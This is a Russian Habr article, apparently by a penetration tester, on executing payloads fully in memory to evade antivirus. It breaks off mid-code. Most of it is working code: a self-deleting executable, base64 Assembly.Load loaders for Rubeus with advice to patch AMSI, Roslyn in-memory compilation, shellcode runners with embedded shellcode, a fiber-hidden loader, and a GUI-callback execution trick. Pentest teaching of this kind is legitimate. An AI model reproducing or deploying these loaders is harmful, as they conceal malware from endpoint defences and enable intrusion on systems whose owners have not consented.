Привет, Хабр! Меня зовут Миша, я работаю в МТС RED в команде тестирования на проникновение на позиции эксперта.
В ходе пентестов очень часто приходится бороться с антивирусами. Увы, это может отнимать много времени, что негативно сказывается на результатах проекта. Тем не менее есть парочка крутых трюков, которые позволят на время забыть про антивирус на хосте, и один из них - выполнение полезной нагрузки в памяти.
Ни для кого не секрет, что во время пентестов атакующим приходится использовать готовые инструменты, будь то нагрузка для Cobalt Strike, серверная часть от поднимаемого прокси-сервера или даже дампилка процесса lsass.exe. Что объединяет все эти файлы? То, что все они давным-давно известны антивирусам, и любой из них не оставит без внимания факт появления вредоноса на диске.
Заметили ключевой момент? Факт появления вредоноса на диске. Неужели если мы сможем научиться выполнять пейлоад в оперативной памяти, то пройдём ниже радаров антивирусов? Давайте разберёмся с техниками выполнения файлов полностью в памяти и увидим, насколько жизнь атакующих станет проще, если они научатся работать, не затрагивая диск.
Основы выполнения в памяти
Не настраивайтесь на хардкор, я постараюсь рассказать всё простым и понятным языком.
Выполнение в памяти — абсолютно нормальное поведение. Я бы даже сказал, что всё только так и выполняется. По сути диск — лишь плацдарм, склад, с которого тянутся нужные программы, а затем загрузчик проецирует их в памяти и вызывает точку входа программы. Ничто не мешает нам собственноручно разместить байты данных в памяти, а затем заставить систему их выполнить.
Итак, предлагаю убедиться в том, что диск нам как таковой не нужен — всё успешно работает и без него, полностью в оперативной памяти. Пусть у нас будет файл example.exe, который сначала есть на диске, а потом его не станет: он пропадёт и останется лишь в ОЗУ. Такая техника называется Self-Deletion. Казалось бы, можно запустить пейлоад, а в нём предусмотреть вызов функции DeleteFIle(), но не тут-то было. При попытке удаления самого себя мы получим ошибку 0x5 ERROR_ACCESS_DENIED
.
Тем не менее мы можем воспользоваться особенностями файловой системы NTFS, используемой в Windows. В ней существуют так называемые потоки данных, основным можно считать поток $DATA. Если пропадёт этот поток, то файл исчезнет, его невозможно будет прочитать.
К сожалению, поток удалить нельзя, но его можно переименовать, что так же приведёт к невозможности чтения содержимого файла и, как следствие, невозможности его повторного считывания и выполнения. Не будем особо углубляться в технические детали. Отмечу лишь, что переименование потока данных будет осуществляться с помощью функции SetFileInformationByHandle() с передачей в качестве FileInformationClass значения FileRenameInfo, а затем FileDispositionInfo.
Код
#include <Windows.h>
#include <iostream>
#define NEW_STREAM L":HABRAHABR"
BOOL DeleteSelf() {
WCHAR szPath[MAX_PATH * 2] = { 0 };
FILE_DISPOSITION_INFO Delete = { 0 };
HANDLE hFile = INVALID_HANDLE_VALUE;
PFILE_RENAME_INFO pRename = NULL;
const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;
SIZE_T sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);
pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
if (!pRename) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
ZeroMemory(szPath, sizeof(szPath));
ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));
Delete.DeleteFile = TRUE;
pRename->FileNameLength = sizeof(NewStream);
RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));
if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
printf("[!] GetModuleFileNameW Failed With Error : %d \n", GetLastError());
return FALSE;
}
hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW [R] Failed With Error : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[i] Renaming :$DATA to %s ...", NEW_STREAM);
if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
printf("[!] SetFileInformationByHandle [R] Failed With Error : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[+] DONE \n");
CloseHandle(hFile);
hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW [D] Failed With Error : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[i] DELETING ...");
if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
printf("[!] SetFileInformationByHandle [D] Failed With Error : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[+] DONE \n");
CloseHandle(hFile);
HeapFree(GetProcessHeap(), 0, pRename);
return TRUE;
}
int main() {
DeleteSelf();
getchar();
return 0;
}
Как мы видим, процесс успешно создан и продолжает свою работу, даже когда с диска система уже не в состоянии что-либо прочитать. Это доказывает тот факт, что файл считывается загрузчиком, помещается в оперативную память, а затем идёт его выполнение.
Встроенные возможности языков для выполнения кода в памяти
C# и System.Reflection.Assembly
У некоторых языков есть встроенный функционал для выполнения определённого кода в памяти. Например, у C# есть неймспейс System.Reflection, а в нём класс Assembly с методом Load, который можно использовать для помещения и последующего выполнения C# сборки в памяти. Прототип следующий:
public static System.Reflection.Assembly Load (byte[] rawAssembly);
Функция принимает один-единственный параметр — rawAssembly. Он представляет собой массив байтов сборки, которую требуется поместить в память. Предлагаю рассмотреть файл Rubeus.exe — инструмент отлично подходит для демонстрации, ведь он написан на C#.
Для считывания байтов будем использовать File.ReadAllBytes, после чего будем передавать байты в описанную выше функцию и вызывать её точку входа.
using System;
using System.IO;
using System.Reflection;
namespace AssemblyLoader
{
class Program
{
static void Main(string[] args)
{
Byte[] bytes = File.ReadAllBytes(@"C:\Users\Michael\Downloads\Rubeus.exe");
ExecuteAssembly(bytes, new string[] { "user" });
Console.Write("Press any key to exit");
string input = Console.ReadLine();
}
public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
{
Assembly assembly = Assembly.Load(assemblyBytes);
MethodInfo method = assembly.EntryPoint;
object[] parameters = new[] { param };
object execute = method.Invoke(null, parameters);
}
}
}
```
Таким образом, мы можем на машине атакующего считать все байты полезной нагрузки, а затем на машине атакуемого вызвать метод Assembly.Load(), что приведёт к возможности запуска пейлоада в памяти! Начнём со считывания байтов. Каждый раз использовать File.ReadAllBytes(), мягко говоря, нудно, поэтому байты можно считать с использованием Powershell:
$FilePath = "C:\Users\Michael\Downloads\Rubeus.exe""
$File = [System.IO.File]::ReadAllBytes($FilePath);
В переменной $File будет находиться слишком большой массив байтов, с которым не очень удобно работать:
Поэтому предлагаю закодировать этот массив в Base64, а затем на машине атакуемого строку декодировать и получить нужный поток байтов.
$Base64String = [System.Convert]::ToBase64String($File);
echo $Base64String;
Теперь остаётся лишь изменить наш лоадер, добавив в него полученную Base64 строку и функционал по её декодированию:
using System;
using System.IO;
using System.Reflection;
namespace AssemblyLoader
{
class Program
{
static void Main(string[] args)
{
string assemblyBase64 = "<b64 value>";
Byte[] bytes = Convert.FromBase64String(assemblyBase64);
ExecuteAssembly(bytes, new string[] { "user" });
Console.Write("Press any key to exit");
string input = Console.ReadLine();
}
public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
{
Assembly assembly = Assembly.Load(assemblyBytes);
MethodInfo method = assembly.EntryPoint;
object[] parameters = new[] { param };
object execute = method.Invoke(null, parameters);
}
}
}
Причём не обязательно каждый раз генерировать новую сборку, ведь у нас есть возможность вызова дотнетовских методов из Powershell. В частности, можно обратиться к нужному нам System.Reflection, а из него вызывать метод Assembly.Load(), что позволит с таким же успехом загрузить сборку и обратиться к ней.
Синтаксис прост:
$blob = "<полученное base64>"
$load = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($blob));
После чего нужно лишь выбрать желаемый для вызова метод, используя следующий синтаксис:
[<namespace>.<class>]::<method>()
# Ex
[Rubeus.Program]::Main()
В случае с запуском через Powershell все байты сборки, передаваемой в метод Assembly.Load(), перед загрузкой окажутся в AMSI, поэтому нужно предварительно запатчить AMSI, чтобы он не ругался на наш загружаемый пейлоад.
Причём далеко не каждая сборка сможет успешно загрузиться подобным образом. Следует убедиться, что в проекте используется Net Framework, а не Net Core, так как Core не получится грузить в память. Вот статья, которой можно руководствоваться при изменении проекта с Core на Net Framework. Выбрать нужный фреймворк тоже можно непосредственно при создании проекта в Visual Studio:
В ходе исследования этого метода подгрузки сборок оказалось, что иногда у Powershell не получается обнаружить наличие сборки в памяти, поэтому придётся собственноручно вычленять и вызывать нужный метод:
$data = 'байты сборки'
$assem = [System.Reflection.Assembly]::Load($data);
$class = $assem.GetType('Rubeus.Program');
$method = $class.GetMethod('Main');
$method.Invoke(0, $null)
C# и MemoryStream()
В C# присутствует ещё один интересный механизм, позволяющий компилировать сборки буквально на ходу из представленного исходного кода. Причём, как я узнал позже, этот функционал появился относительно недавно, лишь в 2021 году.
Итак, сначала исходный код требуется подготовить с использованием CSharpSyntaxTree.ParseText(). В дальнейшем он должен храниться в виде экземпляра класса SyntaxTree.
SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@"
namespace ns{
using System;
public class App{
public static void Main(string[] args){
Console.Write(""dada"");
}
}
}");
Далее нужно добавить опции компиляции (у нас указывается, что это будет консольное приложение):
var options = new CSharpCompilationOptions(
OutputKind.ConsoleApplication,
optimizationLevel: OptimizationLevel.Debug,
allowUnsafe: true);
Теперь подготовим сборку, которая будет выполняться в памяти. Сначала создаём переменную, которая будет олицетворять сборку, для этого используется функция CSharpCompilation.Create(). Первым параметром указываем имя сборки, а последним — необходимые опции компилятора. В нашем случае генерируется рандомное имя.
var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);
Теперь у нас есть объект сборки, добавляем в неё исходный код, вызывая метод AddSyntaxTrees():
compilation = compilation.AddSyntaxTrees(syntaxTree);
Внутри нашей сборки есть зависимости от других сборок. Например, для того же вывода на консоль требуется наличие метода System.Console.Write(), а откуда его возьмёт компилятор? Поэтому теперь в сборку следует добавить зависимости от других сборок. Они чаще всего представлены в виде .dll файлов, а стандартные сборки находятся в одной и той же директории, которую можно извлечь вот так:
var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);
Обратите внимание, что у проекта может быть множество зависимостей, поэтому потребуется завести список:
List<MetadataReference> references = new List<MetadataReference>();
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll")));
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll")));
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));
Дополнительно можно распарсить наше ранее созданное синтаксическое дерево (помните? В нём исходный код собираемой сборки лежит). Для этого используем вот такой код:
var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray();
// добавляем расширение .dll
foreach (var u in usings)
{
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll")));
}
compilation.SyntaxTrees — из объекта сборки получаем все синтаксические деревья
Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()) — для каждого дерева из списка выполняется действие в скобках после Select. tree.GetRoot() возвращает корневой узел каждого дерева. DescendantNodes() получает все узлы дерева, производные от корневого. OfType<UsingDirectiveSyntax>() фильтрует узлы, оставляя только те, что представляют собой директивы using
SelectMany(s => s) — так как каждое дерево может содержать множество директив using, вызов SelectMany нужен для преобразования списка списков в один общий список
ToArray() — преобразует получившийся список в массив для дальнейшего использования. После чего пробегаемся по полученным сборкам и добавляем расширение .dll
Остаётся лишь добавить в объект сборки полученные зависимости и скомпилировать. Добавление осуществляется через метод compilation.AddReferences.
compilation = compilation.AddReferences(references);
Наконец вся магия исполнения в памяти заключается в использовании экземпляра класса MemoryStream, который позволяет работать с данными в памяти. Этот экземпляр мы передаём в метод compilation.Emit() (используется для компиляции сборки), что приводит к помещению скомпилированной сборки в память.
using (var ms = new MemoryStream())
{
EmitResult result = compilation.Emit(ms);
if (!result.Success)
{
IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic =>
diagnostic.IsWarningAsError ||
diagnostic.Severity == DiagnosticSeverity.Error);
foreach (Diagnostic diagnostic in failures)
{
Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);
}
}
else
{
ms.Seek(0, SeekOrigin.Begin);
AssemblyLoadContext context = AssemblyLoadContext.Default;
Assembly assembly = context.LoadFromStream(ms);
assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } });
}
}
Затем не составит труда извлечь сборку из памяти и вызвать метод из неё.
Полный код проекта приведён ниже.
using System;
using System.CodeDom.Compiler;
using System.IO;
using System.Reflection;
using System.Runtime.Loader;
using Microsoft.CodeAnalysis;
using Microsoft.CodeAnalysis.CSharp;
using Microsoft.CodeAnalysis.CSharp.Syntax;
using Microsoft.CodeAnalysis.Emit;
class Program
{
static void Main()
{
// создание экземпляра класса, содержащего исходный код
SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@"
namespace ns{
using System;
public class App{
public static void Main(string[] args){
Console.Write(""dada"");
}
}
}");
// создаем опции компилятора, в которых говорим, что у нас консольное приложение
var options = new CSharpCompilationOptions(
OutputKind.ConsoleApplication,
optimizationLevel: OptimizationLevel.Debug,
allowUnsafe: true);
// создание объекта сборки
var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);
// добавление исходного кода в сборку
compilation = compilation.AddSyntaxTrees(syntaxTree);
// получение локального путя, где лежат все сборки
var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);
List<MetadataReference> references = new List<MetadataReference>();
// добавление необходимых сборок в список
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll")));
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll")));
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));
// добавляем сборки из синтаксического дерева
var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray();
// добавляем расширение .dll
foreach (var u in usings)
{
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll")));
}
// добавляем зависимости
compilation = compilation.AddReferences(references);
// компилим
using (var ms = new MemoryStream())
{
EmitResult result = compilation.Emit(ms);
if (!result.Success)
{
IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic =>
diagnostic.IsWarningAsError ||
diagnostic.Severity == DiagnosticSeverity.Error);
foreach (Diagnostic diagnostic in failures)
{
Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);
}
}
else
{
ms.Seek(0, SeekOrigin.Begin);
AssemblyLoadContext context = AssemblyLoadContext.Default;
Assembly assembly = context.LoadFromStream(ms);
assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } });
}
}
}
}
Таким образом, мы можем запускать практически любой удобный для нас код в памяти. Единственная проблема — исходники будут в явном виде находиться в программе, что не есть хорошо, конечно. Но тут можно использовать какие-нибудь криптографические либо кодировочные функции для сокрытия исходного кода.
Обратите внимание, что для запуска кода требуется добавить пакет Microsoft.CodeAnalysis.CSharp:
C#, память и неуправляемый код
Дотнетовские сборки мы выполнять научились, но что, если программа была написана на С++? В этом случае она исполняется вне платформы CLR и будет считаться неуправляемым кодом. Как следствие, выполнить её в памяти через описанные выше методы не получится.
Точку ставить рано, ведь существуют шеллкоды. Что, если мы сгенерируем шеллкод от существующей программы на С++, затем засунем этот шеллкод в С# проект, в котором реализуем логику по инжекту этого шеллкода в адресное пространство текущего процесса? В таком случае на выходе у нас будет полноценная сборка, которая загружается с использованием System.Reflection.Assembly.Load() и выполняет наш шеллкод. Получается такая матрёшка из четырёх кукол: вызов Assembly.Load() — первая кукла, загружаемая сборка — вторая, шеллкод в сборке — третья, и, наконец, шеллкод представляет собой нашу С++ программу — четвёртая.
Итак, сначала предлагаю подготовить программу, которая будет осуществлять запуск нашего шеллкода. Здесь будем использовать стандартный шеллкод-раннер с помощью GetDelegateForFunctionPointer():
using System;
using System.Runtime.InteropServices;
namespace ShellcodeLoader
{
public class Program
{
public static void Main(string[] args)
{
byte[] x86shc = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(uint)x86shc.Length,
0x1000, 0x40);
Marshal.Copy(x86shc, 0, (IntPtr)(funcAddr), x86shc.Length);
pFunc f = (pFunc)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(pFunc));
f();
return;
}
#region pinvokes
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
delegate void pFunc();
#endregion
}
}
Теперь конвертируем байты этой сборки по описанному выше алгоритму в base64 строку и запускаем через System.Reflection.Assembly:
Отлично! Запуск тестового шеллкода работает. Пора переходить к генерации непосредственно самого шеллкода. Сначала определимся с программой. Предлагаю написать что-то более-менее серьёзное, чтобы проверить теорию наверняка. Используем графику, различные API-вызовы, циклы, коллбэки и прочую жуть:
#include <Windows.h>
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
// Создание окна
HWND hwnd;
WNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_HREDRAW | CS_VREDRAW, WindowProc, 0, 0, hInstance, NULL, LoadCursor(NULL, IDC_ARROW), NULL, NULL, L"MyWindowClass", NULL };
RegisterClassEx(&wc);
hwnd = CreateWindowEx(0, L"MyWindowClass", L"Pixel Drawing", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600, NULL, NULL, hInstance, NULL);
ShowWindow(hwnd, nCmdShow);
// Получение контекста устройства (Device Context)
HDC hdc = GetDC(hwnd);
// Рисование пикселей
for (int x = 0; x < 800; x++)
{
for (int y = 0; y < 600; y++)
{
SetPixel(hdc, x, y, RGB(x % 256, y % 256, (x + y) % 256)); // Задаем цвет пикселя
}
}
// Основной цикл сообщений
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// Освобождаем ресурсы и завершаем программу
ReleaseDC(hwnd, hdc);
UnregisterClass(L"MyWindowClass", hInstance);
return 0;
}
// Обработка сообщений окна
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch (uMsg)
{
case WM_DESTROY:
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
Затем компилируем, после чего нужно перегнать программу в шеллкод. Для этого есть множество готовых инструментов:
https://github.com/TheWover/donut — стандартная версия
https://github.com/S4ntiagoP/donut/tree/syscalls — donut с сисколлами
Можно даже использовать Visual Studio для генерации шеллкода, об этом подробно написано в этой статье. Я человек простой, поэтому предлагаю использовать стандартный donut:
donut.exe -i CodeToShc.exe -o code.bin -b 1
Затем перегоняем из .bin формата в шестнадцатеричный шеллкод, который можно будет вставить в программу:
xxd -i code.bin > 1.h
В файле будет представлен шеллкод нашей программы:
Добавляем шеллкод в шеллкод-раннер и проверяем, что всё работает:
Остаётся лишь получить байты сборки и запустить эту сборку через System.Reflection.Assembly:
И получаем успешное выполнение сборки с шеллкодом:
Благодаря этому способу запуска шеллкода антивирус не в состоянии обнаружить такой способ инъекции:
Конвертация в JScript
Существует метод запуска дотнетовских сборок через конвертацию в JScript, для этого используется следующий инструмент: https://github.com/tyranid/DotNetToJScript.
Первым делом качаем проект по ссылке выше, открываем в студии, идём в Solution Explorer → тыкаем на TestClass.cs в проекте ExampleAssembly. Выбираем компилировать как .dll.
Затем наш код должен быть вставлен в классе TestClass(), например, следующий код выводит месседж-бокс:
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
[ComVisible(true)]
public class TestClass
{
public TestClass()
{
MessageBox.Show("Test", "Test", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
}
public void RunProcess(string path)
{
Process.Start(path);
}
}
После успешной компиляции в формате .dll используем скачанную выше тулзу для конвертации в js:
DotNetToJScript.exe <имя нашей длл> --lang=Jscript --ver=<версия .NET фреймворка> -o demo.js
# Ex
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js
Полученный .js файл можно смело запускать, что приведёт к выполнению кода из TestClass(), а именно — появлению MessageBox.
Fibers
Фиберы — это одна из единиц выполнения кода, как процесс или поток. Фибер работает внутри конкретного потока. То есть выстраивается иерархия процесс → поток → фибер. Внутри потока может быть несколько фиберов. Причём фиберы управляются и контролируются самим приложением, а не операционной системой. Благодаря фиберам можно выстраивать более гибкие механизмы синхронизации, потому что они имеют собственный стек и регистры. Фиберы удобно использовать для задач сокрытия исполнения кода, так как выполнение кода внутри фиберов отследить намного сложнее, чем выполнение кода внутри потока. Самое интересное заключается в том, что стек фибера, как только фибер завершит свою работу, будет очищен. В результате чего антивирусному ПО будет сложнее обнаружить вредоносную активность в нашей программе.
Если же фибер внутри себя вызывает другой фибер, то стек очищен не будет. Будет произведено переключение стека и значений регистров на те, которые должны быть у фибера, на который переключились. Например, если в основном потоке значение регистра EAX 0x00, у фибера 1 оно равно 0x01, а у фибера 2 0x02, то, при переключении основного потока на фибер 1 значение регистра EAX станет равно 0x01, а при переключении из фибера 1 на фибер 2 оно станет равно 0x02. После завершения работы фибера 2 примет значение фибера 1 и т. д.
В идеале для сокрытия пейлоада от АВ следует разместить его где-то в файле — например, в PE, в соседней DLL библиотеке или где-то ещё. Затем запустить кучу потоков, в них кучу фиберов, а в каком-то из фиберов — полезную нагрузку.
Фиберы поддерживаются как в C#, так и в C++. Для разнообразия предлагаю этот PoC написать на C++. Итак, основная функция для работы с фиберами — CreateFiber():
LPVOID CreateFiber(
[in] SIZE_T dwStackSize,
[in] LPFIBER_START_ROUTINE lpStartAddress,
[in, optional] LPVOID lpParameter
);
dwStackSize — начальный размер стека
LPFIBER_START_ROUTINE — коллбэк-функция, которая будет считаться главной функцией фибера. Она вызывается при старте фибера
lpParameter — некоторые дополнительные данные, которые мы хотим передать в фибер
После создания фибера его запустить можно с помощью SwitchToFiber(). Обратите внимание, что нельзя напрямую вызывать эту функцию из потока — не произойдёт перехода потока управления. Поэтому требуется предварительно конвертировать текущий поток в фибер с помощью ConvertThreadToFiber().
Фиберы отлично подходят для исполнения наших пейлоадов в памяти по причине их достаточно хорошей скрытности. Предлагаю начать писать простенький PoC, в котором будет десять потоков и десять фиберов, но лишь в одном из фиберов будет осуществлен запуск нашего шеллкода.
Для синхронизации предлагаю использовать мьютекс. Создадим ещё в начале нашей программы мьютекс, а затем дёрнем его перед запуском шеллкода, чтобы предотвратить его повторные запуски.
Код
#include <windows.h>
#include <vector>
#include <thread>
#define DEBUG
size_t numOfThreads = 10;
size_t numOfFibers = 10;
unsigned char shc[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6,\x00";
DWORD WINAPI threadProc(VOID*);
VOID WINAPI fiberProc(LPVOID);
HANDLE hMutex;
int main() {
std::vector<HANDLE> threads(numOfThreads);
hMutex = CreateMutex(NULL, FALSE, L"Mutex");
for (auto& thread : threads)
{
thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadProc, NULL, 0, NULL);
}
for (auto& thread : threads)
{
WaitForSingleObject(thread, INFINITE);
}
return 0;
}
DWORD WINAPI threadProc(LPVOID lpParam) {
std::vector<PVOID> fibers(numOfFibers);
ConvertThreadToFiber(NULL);
for (int i = 0; i < numOfFibers; ++i)
{
fibers[i] = CreateFiber(0, (LPFIBER_START_ROUTINE)fiberProc, (LPVOID)i);
}
while (true)
{
for (auto& fiber : fibers)
{
SwitchToFiber(fiber);
}
}
return 0;
}
VOID WINAPI fiberProc(LPVOID lpParam) {
WaitForSingleObject(hMutex, INFINITE);
hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, L"Mutex");
if (hMutex)
{
PVOID payload_mem = VirtualAlloc(0, sizeof(shc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(payload_mem, shc, sizeof(shc));
((void(*)())payload_mem)();
}
}
Вам нужно лишь заменить шеллкод на шеллкод Rubeus. Благодаря такому серьёзному скрытию кода мы вновь успешно исполняем его в памяти и остаёмся вне поля зрения антивируса:
Специальные лоадеры
Существует целый класс программ, так называемых Reflective Loader's, которые позволяют загружать код в память. Рефлективная загрузка кода в память основывается на том, что разработчик собственноручно создаёт алгоритм по занесению PE-файла в память — так же, как это делает и сам Windows. Либо хотя бы на уровне, чтобы пейлоад мог запуститься.
На Github достаточно много готовых PoC, выделю самые интересные:
Invoke-ReflectivePEInjection — повершелловский вариант
RunPE — подходит для запуска как управляемого, так и неуправляемого кода
FilelessPELoader — одна из самых толковых реализаций. Тянет пейлоад с удалённого сервера
Причём можно отдельно выделить класс программ, служащих для рефлективного внедрения DLL:
Тем не менее иногда все эти специальные лоадеры бесполезны. В большинстве случаев на пентесте достаточно перегнать программу в шеллкод, а затем заставить систему его как-нибудь выполнить. Причём если просто отойти от проторенной дороги и использовать ранее неизвестный метод запуска шеллкода, с большой вероятностью получится обойти антивирус.
Например, можно поискать любые функции, принимающие в качестве одного из параметров коллбэк. В Windows присутствует множество GUI-функций и GUI-приложений, которые принимают коллбек. Скажем, функция PdhBrowseCounters() может использоваться для отображения специального диалогового окна, в котором можно выбрать интересующие нас счетчики производительности для программы монитора ресурсов системы. Функция принимает структуру PDH_BROWSE_DLG_CONFIG, одним из элементов которой является pCallback.
Проблема лишь в том, что этот коллбэк вызывается только после того, как пользователь выберет нужные счётчики производительности. Опять же, мы можем выбрать эти счётчики за пользователя, а затем, используя SendMessage() сымитировать отправку сообщения о выборе счетчиков нужному окну.
Вот полный код программы, вам вновь достаточно лишь заменить шеллкод:
#include <windows.h>
#include <pdh.h>
#include <pdhmsg.h>
#include <stdio.h>
#include <iostream>
#pragma comment(lib, "pdh.lib")
DWORD WINAPI ThreadFunction(LPVOID lpParam)
{
Sleep(5000);
HWND hwnd = NULL;
hwnd = FindWindow(NULL, L"s");
ShowWindow(hwnd, SW_HIDE);
if (hwnd)
{
HWND hwndButton = FindWindowEx(hwnd, NULL, L"Button", L"ОК"); // OK RUssian
if (hwndButton)
{
SendMessage(hwndButton, BM_CLICK, 0, 0);
}
else {
hwndButton = FindWindowEx(hwnd, NULL, L"Button", L"OK"); // OK English
if (hwndButton) {
